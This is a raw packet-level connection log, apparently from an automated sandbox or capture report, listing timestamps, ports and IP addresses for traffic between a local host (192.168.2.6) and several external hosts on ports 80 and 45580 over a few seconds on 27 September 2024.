Sep 27, 2024 16:18:22.014987946 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:22.015007973 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:22.015027046 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:22.015089035 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:22.015098095 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:22.015147924 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:22.015165091 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:22.015178919 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:22.015188932 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:22.015202999 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:22.015208960 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:22.015223026 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:22.015285969 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:22.015285969 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:22.015306950 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:22.015317917 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:22.015328884 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:22.015371084 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:22.015371084 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:22.015455961 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:22.015466928 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:22.015477896 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:22.015487909 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:22.015499115 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:22.015507936 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:22.015516996 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:22.015527964 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:22.015562057 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:22.015569925 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:22.015578032 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:22.015593052 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:22.015604019 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:22.015614033 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:22.015625000 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:22.015636921 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:22.015647888 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:22.015647888 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:22.015671015 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:22.015681982 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:22.015691996 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:22.015702009 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:22.015708923 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:22.015708923 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:22.015721083 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:22.015738964 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:22.015747070 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:22.015757084 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:22.015765905 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:22.015782118 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:22.015818119 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:22.015829086 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:22.015839100 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:22.015850067 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:22.015861034 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:22.015870094 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:22.015881062 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:22.015894890 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:22.015906096 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:22.015917063 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:22.015928030 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:22.015933990 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:22.015965939 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:22.016000032 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:22.016010046 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:22.016020060 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:22.016030073 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:22.016037941 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:22.016048908 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:22.016056061 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:22.016064882 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:22.016077042 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:22.016093969 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:22.016109943 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:22.016119957 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:22.016130924 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:22.016144037 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:22.016153097 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:22.016160011 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:22.016172886 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:22.016181946 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:22.016189098 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:22.016199112 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:22.016244888 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:22.016244888 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:22.016268969 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:22.016278982 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:22.016289949 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:22.016302109 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:22.016318083 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:22.016330004 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:22.016336918 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:22.016345978 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:22.016355991 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:22.016372919 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:22.016382933 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:22.016393900 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:22.016393900 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:22.016422033 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:22.016433954 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:22.016450882 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:22.016455889 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:22.016465902 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:22.016475916 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:22.016482115 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:22.016494036 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:22.016511917 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:22.016555071 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:22.024344921 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:22.024354935 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:22.024367094 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:22.024394035 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:22.024403095 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:22.024414062 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:22.024432898 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:22.024435997 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:22.024444103 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:22.024475098 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:22.024499893 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:22.024903059 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:22.024934053 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:22.024945021 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:22.024954081 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:22.024976969 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:22.025000095 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:22.025008917 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:22.025018930 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:22.025029898 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:22.025048018 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:22.025051117 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:22.025074959 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:22.025099993 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:22.025111914 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:22.025115967 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:22.025121927 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:22.025156021 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:22.025192022 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:22.025208950 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:22.025219917 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:22.025229931 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:22.025239944 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:22.025249958 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:22.025259018 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:22.025300980 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:22.054184914 CEST	49610	45580	192.168.2.6	65.21.18.51
Sep 27, 2024 16:18:22.058984041 CEST	45580	49610	65.21.18.51	192.168.2.6
Sep 27, 2024 16:18:22.067186117 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:22.067323923 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:22.074219942 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:22.074239016 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:22.074248075 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:22.074320078 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:22.074330091 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:22.074340105 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:22.074351072 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:22.074361086 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:22.074373007 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:22.074433088 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:22.074433088 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:22.074572086 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:22.074588060 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:22.074596882 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:22.074666023 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:22.074672937 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:22.074672937 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:22.074682951 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:22.074692965 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:22.074702978 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:22.074724913 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:22.074733973 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:22.074774981 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:22.074774981 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:22.074850082 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:22.075244904 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:22.075261116 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:22.075288057 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:22.075309992 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:22.075352907 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:22.075362921 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:22.075372934 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:22.075402021 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:22.075402021 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:22.075414896 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:22.075424910 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:22.075443029 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:22.075450897 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:22.075508118 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:22.075512886 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:22.075512886 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:22.075530052 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:22.075540066 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:22.075550079 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:22.075560093 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:22.075578928 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:22.075578928 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:22.075609922 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:22.075618982 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:22.075654030 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:22.075654030 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:22.100933075 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:22.100951910 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:22.100992918 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:22.101001024 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:22.101066113 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:22.101078033 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:22.101088047 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:22.101119041 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:22.101129055 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:22.101140976 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:22.101239920 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:22.101250887 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:22.101265907 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:22.101278067 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:22.101286888 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:22.101295948 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:22.101295948 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:22.101295948 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:22.101295948 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:22.101295948 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:22.101295948 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:22.101310015 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:22.101320028 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:22.101355076 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:22.101378918 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:22.102799892 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:22.102973938 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:22.258043051 CEST	45580	49610	65.21.18.51	192.168.2.6
Sep 27, 2024 16:18:22.293226957 CEST	49610	45580	192.168.2.6	65.21.18.51
Sep 27, 2024 16:18:22.298016071 CEST	45580	49610	65.21.18.51	192.168.2.6
Sep 27, 2024 16:18:22.455005884 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:22.459871054 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:22.495695114 CEST	45580	49610	65.21.18.51	192.168.2.6
Sep 27, 2024 16:18:22.506861925 CEST	49610	45580	192.168.2.6	65.21.18.51
Sep 27, 2024 16:18:22.511785984 CEST	45580	49610	65.21.18.51	192.168.2.6
Sep 27, 2024 16:18:22.511801004 CEST	45580	49610	65.21.18.51	192.168.2.6
Sep 27, 2024 16:18:22.511816978 CEST	45580	49610	65.21.18.51	192.168.2.6
Sep 27, 2024 16:18:22.511826038 CEST	45580	49610	65.21.18.51	192.168.2.6
Sep 27, 2024 16:18:22.511833906 CEST	45580	49610	65.21.18.51	192.168.2.6
Sep 27, 2024 16:18:22.511842966 CEST	45580	49610	65.21.18.51	192.168.2.6
Sep 27, 2024 16:18:22.511869907 CEST	45580	49610	65.21.18.51	192.168.2.6
Sep 27, 2024 16:18:22.511969090 CEST	45580	49610	65.21.18.51	192.168.2.6
Sep 27, 2024 16:18:22.759094000 CEST	45580	49610	65.21.18.51	192.168.2.6
Sep 27, 2024 16:18:22.760163069 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:22.760291100 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:22.802649021 CEST	49610	45580	192.168.2.6	65.21.18.51
Sep 27, 2024 16:18:23.632620096 CEST	49614	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:23.632957935 CEST	49616	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:23.637698889 CEST	80	49614	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:23.637788057 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:23.637793064 CEST	49614	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:23.637862921 CEST	49616	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:23.660726070 CEST	49616	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:23.661273956 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:23.665546894 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:23.666341066 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:23.750111103 CEST	49610	45580	192.168.2.6	65.21.18.51
Sep 27, 2024 16:18:23.755172968 CEST	45580	49610	65.21.18.51	192.168.2.6
Sep 27, 2024 16:18:23.755198956 CEST	45580	49610	65.21.18.51	192.168.2.6
Sep 27, 2024 16:18:23.755208015 CEST	45580	49610	65.21.18.51	192.168.2.6
Sep 27, 2024 16:18:23.755280972 CEST	45580	49610	65.21.18.51	192.168.2.6
Sep 27, 2024 16:18:23.755290031 CEST	45580	49610	65.21.18.51	192.168.2.6
Sep 27, 2024 16:18:23.755297899 CEST	45580	49610	65.21.18.51	192.168.2.6
Sep 27, 2024 16:18:23.755306005 CEST	45580	49610	65.21.18.51	192.168.2.6
Sep 27, 2024 16:18:23.755417109 CEST	45580	49610	65.21.18.51	192.168.2.6
Sep 27, 2024 16:18:23.755425930 CEST	45580	49610	65.21.18.51	192.168.2.6
Sep 27, 2024 16:18:23.755429983 CEST	45580	49610	65.21.18.51	192.168.2.6
Sep 27, 2024 16:18:23.755433083 CEST	45580	49610	65.21.18.51	192.168.2.6
Sep 27, 2024 16:18:23.755449057 CEST	45580	49610	65.21.18.51	192.168.2.6
Sep 27, 2024 16:18:23.755511999 CEST	45580	49610	65.21.18.51	192.168.2.6
Sep 27, 2024 16:18:23.755521059 CEST	45580	49610	65.21.18.51	192.168.2.6
Sep 27, 2024 16:18:23.755531073 CEST	45580	49610	65.21.18.51	192.168.2.6
Sep 27, 2024 16:18:24.139462948 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:24.139530897 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:24.139635086 CEST	45580	49610	65.21.18.51	192.168.2.6
Sep 27, 2024 16:18:24.193147898 CEST	49610	45580	192.168.2.6	65.21.18.51
Sep 27, 2024 16:18:24.200427055 CEST	49610	45580	192.168.2.6	65.21.18.51
Sep 27, 2024 16:18:24.205658913 CEST	45580	49610	65.21.18.51	192.168.2.6
Sep 27, 2024 16:18:24.838378906 CEST	45580	49610	65.21.18.51	192.168.2.6
Sep 27, 2024 16:18:24.840044975 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:24.840131998 CEST	49616	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:24.840177059 CEST	45580	49610	65.21.18.51	192.168.2.6
Sep 27, 2024 16:18:24.840234041 CEST	49610	45580	192.168.2.6	65.21.18.51
Sep 27, 2024 16:18:24.846631050 CEST	49610	45580	192.168.2.6	65.21.18.51
Sep 27, 2024 16:18:24.851414919 CEST	45580	49610	65.21.18.51	192.168.2.6
Sep 27, 2024 16:18:24.908472061 CEST	49616	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:24.913295031 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:25.157778025 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:25.162755966 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:25.174191952 CEST	45580	49610	65.21.18.51	192.168.2.6
Sep 27, 2024 16:18:25.180208921 CEST	49610	45580	192.168.2.6	65.21.18.51
Sep 27, 2024 16:18:25.185045004 CEST	45580	49610	65.21.18.51	192.168.2.6
Sep 27, 2024 16:18:25.250013113 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:25.250029087 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:25.250042915 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:25.250140905 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:25.250145912 CEST	49616	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:25.250153065 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:25.250165939 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:25.250179052 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:25.250190020 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:25.250196934 CEST	49616	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:25.250201941 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:25.250215054 CEST	49616	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:25.250216007 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:25.250227928 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:25.250246048 CEST	49616	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:25.250271082 CEST	49616	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:25.255094051 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:25.255878925 CEST	49616	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:25.373930931 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:25.373960018 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:25.374092102 CEST	49616	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:25.374337912 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:25.374349117 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:25.374361038 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:25.374392986 CEST	49616	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:25.374437094 CEST	49616	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:25.374483109 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:25.374547958 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:25.374557972 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:25.374599934 CEST	49616	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:25.375025988 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:25.375037909 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:25.375047922 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:25.375056982 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:25.375072956 CEST	49616	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:25.375092030 CEST	49616	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:25.375644922 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:25.375657082 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:25.375668049 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:25.375701904 CEST	49616	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:25.375710011 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:25.375722885 CEST	80	49616	185.215.113.16	192.168.2.6
